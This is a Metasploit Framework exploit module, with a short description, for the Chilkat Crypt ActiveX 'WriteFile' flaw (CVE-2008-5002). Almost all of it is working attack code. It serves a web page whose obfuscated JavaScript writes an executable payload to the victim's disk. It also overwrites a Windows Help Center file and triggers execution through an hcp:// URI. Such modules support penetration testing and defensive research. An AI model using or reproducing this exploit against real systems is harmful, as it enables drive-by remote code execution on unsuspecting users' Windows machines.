This Metasploit module allows attackers to execute code via the 'WriteFile' unsafe method of Chilkat Software Inc's Crypt ActiveX control. This exploit is based on shinnai's exploit that uses an hcp:// protocol URI to execute our payload immediately. However, this method requires that the victim user be browsing with Administrator. Additionally, this method will not work on newer versions of Windows. NOTE: This vulnerability is still unpatched. The latest version of Chilkat Crypt at the time of this writing includes ChilkatCrypt2.DLL version 4.4.4.0.
f5fc358c931e5cad863d48c12b7b5bd2f2586f9cca6246339d327cfef13918bd##
# $Id: chilkat_crypt_writefile.rb 8703 2010-03-03 21:17:31Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Chilkat Crypt ActiveX WriteFile Unsafe Method',
'Description' => %q{
This module allows attackers to execute code via the 'WriteFile' unsafe method of
Chilkat Software Inc's Crypt ActiveX control.
This exploit is based on shinnai's exploit that uses an hcp:// protocol URI to
execute our payload immediately. However, this method requires that the victim user
be browsing with Administrator. Additionally, this method will not work on newer
versions of Windows.
NOTE: This vulnerability is still unpatched. The latest version of Chilkat Crypt at
the time of this writing includes ChilkatCrypt2.DLL version 4.4.4.0.
},
'License' => MSF_LICENSE,
'Author' => [ 'shinnai', 'jduck' ],
'Version' => '$Revision: 8703 $',
'References' =>
[
[ 'CVE', '2008-5002' ],
[ 'OSVDB', '49510' ],
[ 'BID', '32073' ],
[ 'URL', 'http://www.exploit-db.com/exploits/6963' ]
],
'Payload' =>
{
'Space' => 2048
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Set parameters
fnname = rand_text_alpha(8+rand(8))
si_name = "msinfo" # must be this, other names don't seem to work
exe_name = rand_text_alpha(8+rand(8))
hcp_path = "C:\\WINDOWS\\PCHEALTH\\HELPCTR\\System\\sysinfo\\#{si_name}.htm"
hcp_url = "hcp:\\x2f\\x2fsystem/sysinfo/#{si_name}.htm"
exe_path = "C:\\#{exe_name}.exe"
# Generate HCP data
hcp_data = %Q|<object classid='clsid:0355854A-7F23-47E2-B7C3-97EE8DD42CD8' id='compatUI'></object>
<script language='vbscript'>
compatUI.RunApplication 1, "#{exe_path}", 1
</script>
|
# (Re-)Generate the EXE payload
return if ((p = regenerate_payload(cli)) == nil)
exe_data = Msf::Util::EXE.to_win32pe(framework,p.encoded)
# Encode variables
hcp_str = Rex::Text.to_unescape(hcp_data)
hcp_path.gsub!(/\\/, '\\\\\\\\')
exe_str = Rex::Text.to_unescape(exe_data)
exe_path.gsub!(/\\/, '\\\\\\\\')
# Build the final JS
js = %Q|
function #{fnname}()
{
var my_unescape = unescape;
var obj = new ActiveXObject("ChilkatCrypt2.ChilkatCrypt2");
var exe_path = "#{exe_path}";
var exe_str = "#{exe_str}";
var exe_data = my_unescape(exe_str);
obj.WriteFile(exe_path, exe_data);
var hcp_str = "#{hcp_str}";
var hcp_data = my_unescape(hcp_str);
var hcp_path = "#{hcp_path}";
obj.WriteFile(hcp_path, hcp_data);
window.location = "#{hcp_url}";
}
|
# Obfuscate the javascript
opts = {
'Strings' => false, # didn't work in this case
'Symbols' => {
'Variables' => %w{ my_unescape obj exe_path exe_str exe_data hcp_str hcp_data hcp_path }
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.obfuscate()
# Build the final HTML
content = %Q|<html>
<head>
<script language=javascript>
#{js}
</script>
</head>
<body onload="#{fnname}()">
Please wait...
</body>
</html>
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, content)
handler(cli)
end
end
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